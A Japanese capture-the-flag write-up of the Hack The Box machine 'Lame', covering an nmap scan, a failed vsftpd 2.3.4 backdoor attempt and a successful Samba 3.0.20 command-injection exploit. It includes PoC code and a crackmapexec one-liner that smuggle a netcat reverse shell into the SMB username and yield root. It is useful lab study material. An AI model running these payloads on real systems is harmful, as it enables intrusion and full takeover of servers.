見出し画像

HTB Lame

このマシンで学べること

  • vsftpd 2.3.4の脆弱性 CVE-2011-2523

  • samba 3.0.20の脆弱性 CVE-2007-2447

ポート探索

nmap

$ nmap -sCV -A -v -p- --min-rate 5000 10.10.10.3  -oN nmap_result.txt
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.16.6
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)


Host script results:
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h30m53s, deviation: 3h32m10s, median: 51s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2024-12-27T07:26:27-05:00
|_smb2-time: Protocol negotiation failed (SMB2)


CVE-2011-2523

vsftpdのバージョン2.3.4のソースファイル「vsftpd-2.3.4.tar.gz」にリモートから任意のコードの実行を可能にするバックドアコードが含まれていました。

バックドアコードを含んだ状態でvsftpdをインストールおよび起動すると、特定の文字列「:)」を含むユーザー名でFTP接続した際にバックドアポートであるTCP6200番がオープンします。バックドアポートにリモートから接続すると任意のコマンドが実行可能となります。

https://www.intellilink.co.jp/article/vulner/110706.html

公式のソースコードではなく、2011年6月30日から2011年7月3日の間に配布された改ざんされたバージョンに含まれていました。

Exploit DB

以下はPoCの抜粋。
内容はシンプルで脆弱性の説明の通り。
Port 21のログインユーザに「:)」をつけて認証を行い、その後Port 6200へ接続している。
これを試して見たいと思う。

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()

https://www.exploit-db.com/exploits/49757

msfconsoleでLameに対してPoCを実行

$ msfconsole
Metasploit tip: Use the resource command to run commands from a file





msf6 > search vsftpd 2.3.4

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution






msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact






msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using
                                       -metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)






msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3





msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.

id
[*] Exploit completed, but no session was created.

失敗。

CVE-2007-2447

Sambaに存在したリモートコマンド実行の脆弱性。

対象ソフトウェア: Samba 3.0.0から3.0.25rc3までのバージョン。

原因: Sambaのusername map scriptオプションで、ユーザー入力を適切にエスケープせずにシェルコマンドとして実行していた。

影響範囲:
攻撃者が特別に細工したリクエストを送信することで、Sambaサーバー上で任意のシステムコマンドを実行できる。
Sambaサーバーがroot権限で動作している場合、攻撃者はシステム全体を制御可能。

POC

GitHubにPOCがあるので見てみると usernameに"/=nohup nc 自IP 自PORTとありこれを接続情報として渡しているようです。

import sys
from smb.SMBConnection import SMBConnection

def exploit(rhost, rport, lhost, lport):
        payload = 'mkfifo /tmp/hago; nc ' + lhost + ' ' + lport + ' 0</tmp/hago | /bin/sh >/tmp/hago 2>&1; rm /tmp/hago'
        username = "/=`nohup " + payload + "`"
        conn = SMBConnection(username, "", "", "")
        try:
            conn.connect(rhost, int(rport), timeout=1)
        except:
            print("[+] Payload was sent - check netcat !")

CrackMapExec

POCを実行するのと同じ結果となりますが、crackmapexeのuserの指定方法に細工をしてreverse shellを実行

$ crackmapexec smb 10.10.10.3 -u '/=`nohup nc -e /bin/sh 10.10.16.4 1234`' -p ''
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.3] 41855
id
uid=0(root) gid=0(root)

ちなみに、smb.confをcatするとusername map scriptが有効になっていることを確認できます。

root@lame:/# cat /etc/samba/smb.conf


# This boolean controls whether PAM will be used for password changes
# when requested by an SMB client instead of the program listed in
# 'passwd program'. The default is 'no'.
;   pam password change = no

username map script = /etc/samba/scripts/mapusers.sh


いいなと思ったら応援しよう!